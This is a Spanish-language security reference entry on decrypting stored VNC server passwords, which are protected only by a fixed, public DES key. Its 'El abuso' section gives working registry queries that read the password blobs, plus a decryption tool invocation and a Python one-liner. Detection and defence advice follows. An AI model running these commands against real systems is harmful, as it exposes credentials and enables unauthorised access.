VNC Password Decryption

El descifrado de contraseñas VNC recupera al instante la contraseña de un servidor VNC (TightVNC, RealVNC, UltraVNC) porque no está hasheada, sino cifrada con una clave DES fija y pública. Con el blob cifrado en la mano, la vuelves a texto claro sin crackear nada.

Por qué funciona. El protocolo VNC guarda la contraseña con DES usando una clave que es la misma en todas las instalaciones (está en el propio código/documentación). Es cifrado reversible, no un hash: no hay sal, no hay factor de trabajo, no hay fuerza bruta. Quien lea el blob (del registro, de un fichero de configuración .ini/.vnc o de un volcado) obtiene la contraseña en milisegundos.

El abuso. Se localiza el valor cifrado y se descifra con la clave conocida.

# localizar el blob en el registro (8 bytes hex)
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v Password
reg query "HKCU\SOFTWARE\TightVNC\Server" /v Password
# descifrado offline con la clave fija de VNC
echo -n '<hex>' | xxd -r -p > vncpass.bin
vncpwd vncpass.bin                 # o el modulo de metasploit auxiliary/scanner/vnc/*
# alternativa en python (clave DES fija de VNC)
python3 -c "from Crypto.Cipher import DES; print(DES.new(bytes.fromhex('e84ad660c4721ae0'),DES.MODE_ECB).decrypt(bytes.fromhex('<hex>')))"

Requisitos. Leer el blob cifrado: acceso al registro (WinVNC/UltraVNC), a su fichero de configuración o a una copia de seguridad donde aparezca.

Cómo detectarlo. Difícil una vez leído el valor (el descifrado es offline). La señal está en el acceso a las claves de registro o ficheros de configuración de VNC, y en el uso de utilidades conocidas de recuperación. Vigilar lecturas de ...\WinVNC\Password por procesos inesperados.

Defensa. La contraseña de VNC es débil por diseño: no confíes en ella como control único. Túnel VNC sobre SSH/VPN, autenticación fuerte por delante y ACLs sobre el registro y los ficheros de configuración. Es primo del almacenamiento reversible de contraseñas y alimenta el rastreo de credenciales y el reciclaje de credenciales.